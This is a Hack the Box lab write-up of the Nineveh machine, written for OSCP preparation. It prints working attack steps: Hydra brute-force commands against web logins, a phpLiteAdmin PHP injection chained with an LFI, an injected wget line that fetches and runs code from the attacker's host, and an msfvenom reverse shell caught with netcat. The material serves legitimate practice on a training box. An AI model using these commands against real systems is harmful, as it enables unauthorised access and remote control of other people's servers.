This box has been one of the most time consuming ones I’ve done so far. I’d highly recommend it for anybody studying/prepping for the OSCP exam, as it will help you sharpen a lot of skills that will come in useful for that certification.
Table of Contents:
- Initial Enumeration
- Using Hydra to Brute-Force Our First Login Page
- Using Hydra to Brute-Force Our Second Login Page
- Authenticated Enumeration & Identifying Vulnerabilities
- Exploiting LFI & PHP Code Injection
- Post Exploitation & Privilege Escalation
- Key Takeaways
As always, I started out with an nmap scan to see what ports are open on the box.
nmap 10.10.10.43 -T4 -sV -sC -p-
Looks like we’re just dealing with a webserver and nothing else. Let’s go take a look at the pages and see what we can find. I open up a browser and navigate to the box using http & https.
Port 80 just takes us to a default post-installation page.
Port 443 takes us to an image.
I decide to check the Page Source of each site to see if I find anything interesting, but nothing pops out.
At this point, I decide to spin up dirbuster and see what directories we can find. First up, I start by scanning http on port 80.
It doesn’t take long before it uncovers an /info.php directory. Browsing to this shows us a ton of information about the system’s OS and installed versions of Apache & PHP.
Soon after, we uncover a directory titled /department/. Browsing to this reveals our first login page!
As a quick test, I decide to see if we can log in using a username of admin and a password of password.
We don’t successfully log in, but we do see that the page returns a message indicating “Invalid Password”. Does this mean we have a valid username? I decide to try a random username of InfiniteLogins, with a password of password.
Ah-ha! We get a message that states “Invalid Username”. While we don’t have a successful log-in, this is very helpful for us, as it allows us to enumerate usernames on this webapp. This would definitely be a finding in an assessment. For now, let’s keep this in mind for later on when we try to break in.
I’m starting to think that is all we need to uncover on port 80, so I cancel my dirbuster and rerun it on port 443.
It doesn’t take long before we uncover a phpLiteAdmin page running on a directory titled /db/
Alright cool! We’ve uncovered two login pages at this point. Let’s try our hand at breaking in..
Using Hydra to Brute-Force Our First Login Page
There are many brute-force tools available, but Hydra is one of the fastest and best to use for what we’re up against. I would also recommend BurpSuite Pro if you have the paid subscription, otherwise using the free version may take you too long.
Hydra is a fairly straight forward tool to use, but we have to first understand what it needs to work correctly. We’ll need to provide the following in order to break in:
- Login or Wordlist for Usernames
- Password or Wordlist for Passwords
- IP address or Hostname
- HTTP Method (POST/GET)
- Directory/Path to the Login Page
- Request Body for Username/Password
- A Way to Identify Failed Attempts
Let’s start piecing together all the necessary flags before finalizing our command.
In our particular case, we know that the username Admin exists, which will be my target currently. This means we’ll want to use the
-l flag for Login instead of a capital
-L for a list of logins.
We don’t know the password, so we’ll want to use a wordlist in order to perform a Dictionary Attack. Let’s try using the common rockyou.txt list (by specifying a capital
-P) available on Kali in the /usr/share/wordlists/ directory.
IP Address to Attack
This one is easy!
This is where we need to start pulling details about the webpage. Let’s head back into our browser, right-click, and Inspect Element.
A window should pop-up on the bottom of the page. Go ahead and select the Network tab.
Right away, we see a couple GET methods listed here, but let’s see what happens if we attempt a login. Go ahead and type in a random username/password, and click Log In.
Of course our login attempt will fail, but we’re able to see that this website is using a POST method to log-in by looking at the requests.
Easy enough, now we know what method to specify in our command!
Note: You’ll need to enter https if you’re attacking a site on port 443.
Specifying the Path to Attack
So far, we’ve only told the tool to attack the IP address of the target, but we haven’t specified where the login page lives. Let’s prepare that now.
Finding & Specifying Location of Username/Password Form(s)
This is the hardest part, but it’s actually surprisingly simple. Let’s head back over to our browser window. We should still have the Inspect Element window open on the Network Tab. With our Post request still selected, let’s click Edit and Resend.
Now we see a section called Request Body that contains the username and password you entered earlier! We’ll want to grab this entire request for Hydra to use.
In my case, the unmodified request looks like this:
Because we know the username we’re after is “admin”, I’m going to hardcode that into the request. I’ll also replace the “Password” I entered with ^PASS^. This will tell Hydra to enter the words from our list in this position of the request. My modified request that I’ll place into my Hydra command looks like this:
Note: If we desired, we could also brute-force usernames by specifying ^USER^ instead of admin.
Identifying & Specifying Failed Attempts
Finally, we just need a way to let Hydra know whether or not we successfully logged-in. Since we can’t see what the page looks like upon a successful login, we’ll need to specify what the page looks like on a failed login.
Let’s head back to our browser and attempt to login using the username of admin and password of password.
As we saw before, we’re presented with text that reads “Invalid Password!” Let’s copy this, and paste it into our command:
Piecing the Command Together
Let’s take all of the components mentioned above, but place them into a single command. Here’s the syntax that we’re going to need.
sudo hydra <Username/List> <Password/List> <IP> <Method> "<Path>:<RequestBody>:<IncorrectVerbiage>"
After filling in the placeholders, here’s our actual command!
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form "/department/login.php:username=admin&password=^PASS^:Invalid Password!"
Note: I ran into issues later on when trying to copy this command out of this WordPress site. You may need to delete and re-enter your quotation marks before the command will work properly for you.
After a few minutes, we uncover the password to sign in!
Using Hydra to Brute-Force Our Second Login Page
While on the topic of Brute-Force, let’s go ahead and start hammering on the other login-page we identified before seeing what we can find with our newly discovered credentials.
Go through the exact same steps as above, and you should end up with a command that looks like this.
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"
So what’s different between this command and the one we ran earlier? Let’s make note of the things that changed.
- Method was switched to
- Path was updated to
- Request Body is completely different, but we still hard-code
adminand replace the password with
- Finally, the text returned for a failed attempt reads
After running the command, we uncover the password after just a couple minutes.
Authenticated Enumeration & Identifying Vulnerabilities
So at this point we have credentials! Let’s sign into our first webpage and see what we can find.
We’ve got some generic “Under Construction” page. Let’s enumerate a bit more and check out the Notes section.
Alright so we’re taken to a page that has some clues. While the clues are helpful, the thing I’m really interested in is the URL. Let’s observe this a bit more.
It looks like this URL calls on a file within the local file-system. Perhaps we can leverage this page to exploit a Local File Inclusion (LFI) vulnerability?
Let’s keep this in our back pocket and logon to the second web-page.
Interesting. Looks like we’ve got the ability to create/modify databases and tables within this phpLiteAdmin v1.9 panel. After browsing around to see if I could find any data worth harvesting, I decided to look up known vulnerabilties for this software. I stumbled across this Remote PHP Code Injection. https://www.exploit-db.com/exploits/24044
The exploit works by creating a new database with the PHP file extension. Once the database is created, we can add records within it that contain our own PHP code. If we have a way to browse to and execute that database (perhaps our LFI we found earlier?) we then can execute any PHP code that might be stored within it.
Let’s start by making a quick database and throwing up some test code. I decided to name mine Infinite.php
Note: Make sure you add the PHP file extension, or you won’t be able to leverage this vulnerability.
With the new database created, let’s Select it and then create a new table titled RCE with Two fields. Once done, click Go.
We then are taken to a screen we can use to configure those fields. I really only care about one of them, and I just want to insert some test PHP code to see if we have code injection and eventually execution through our LFI.
I went ahead and filled out my table as follows:
Field: Insert some name, I’m going going to use Code.
Type: Select TEXT. Any other type may not work correctly.
Default Value: This is important. Whatever PHP code we wish to execute should be entered here so that it’s present in the table when the database is called. The code I included here is for now is
Once entered, click Create.
With the table in place, we just need a way to execute the code that we injected. Since we suspect LFI is present on the page we found earlier, perhaps we can call on our database to execute the PHP code? In order to do that, we need to know the exact path that our database lives on. Lucky for us, phpLiteAdmin shows this on the Structure tab of the database.
Looks like the path is
Head back over to the page where we suspect LFI may be present and let’s take a look at the URL again.
The existing URL is referencing a text file present on the local file-system.
Let’s modify so that it references our database instead of the .txt file.
It didn’t work..
Perhaps there is some filtering in place to try and protect against this? Let’s rename our database to ninevehNotes so that it matches the name of that text file that is allowed.
Let’s try the LFI now.
Great success! This confirms that we have command execution. In the next section, we will abuse this and see if we can actually obtain a reverse shell connection.
Exploiting LFI & PHP Code Injection
My plan is to inject a line of code that can download and hopefully execute a reverse shell. Let’s start with a test PHP file that just contains a simple string.
echo "Consider following on Twitter!" > hax.php
With that PHP file present, let’s spin up a webserver in this directory so to host the file up.
sudo python -m SimpleHTTPServer 80
Alright, let’s craft up some PHP code that will download our hosted PHP file and store it locally on the file-system. Since we know our database lives at
/var/tmp/, let’s store our PHP file here.
<?php system("wget 10.10.14.57/hax.php -O /var/tmp/hax.php; php /var/tmp/hax.php"); ?>
With our code crafted, let’s Insert it into our database.
Alright, let’s execute this by navigating to our database again.
To see if the command executed, we can check our terminal window that’s running the Pyhon webserver and see that we received a GET request.
This confirms that we at least got our
wget to work, but what about the other part of the command? Well let’s scroll down on the page and see if we see the contents of our hax.php file.
So what’s happening here?
- Our table named RCE contains a field that holds a default value that displays the PHP Info page.
- We inserted a row that will download and execute a hosted (eventually malicious) PHP file that we control.
- We can execute the contents of the database as PHP code due to a known vulnerability in phpLiteAdmin v1.9 + an LFI that we found.
- When we browse to the database via LFI, we’re able to execute the contents as PHP code, which runs the PHP Info command, as well as the record that will download & execute our hosted PHP file.
Let’s delete our hax.php file and create a new one that contains actually malicious content. If you haven’t already, check out my MSFVenom Reverse Shell Cheatsheet. We’ll use the following command to generate a PHP Reverse Shell.
sudo msfvenom -p php/reverse_php LHOST=10.10.14.57 LPORT=1234 -f raw > hax.php
If all works well, we should be able to catch a reverse shell on port 1234. Let’s spin up a Netcat listener.
sudo nc -nvlp 1234
Make sure that your Python webserver is still running. I ended mine, cleared the screen, and restarted it before moving forward so I can clearly see new GET requests.
With everything in place, let’s browse to our database again and refresh the page.
Once we do, we receive a reverse shell as user www-data!
Post Exploitation & Privilege Escalation
Now that we’re on the box, let’s change into the root directory and see what we can find.
Right away, we see a non-system directory titled “/report” that is owned by a user named amrois. Let’s see what’s inside.
We see a ton of files in here. Let’s review the contents of one.
Seems like some sort of AV/Malware scanner. Let’s do a quick google search on these logs and see if we can identify what software is running. The first result shows us software named Chkrootkit.
Doing some research on Chkrootkit, we find a known local privilege escalation at https://www.exploit-db.com/exploits/33899
Reading further on this exploit should allow us to gain a root shell.
- Use Hydra to brute force web logins, especially when weak credentials are in use.
- Don’t give up a Local/Remote File Inclusions (LFI/RFI) just because it doesn’t work on your first attempt. Think outside the box.
- We don’t need to reinvent the wheel. When other payloads aren’t working, don’t forget you can always generate your own with MSFVenom.
One thought on “Hack the Box Write-Up: NINEVEH (Without Metasploit)”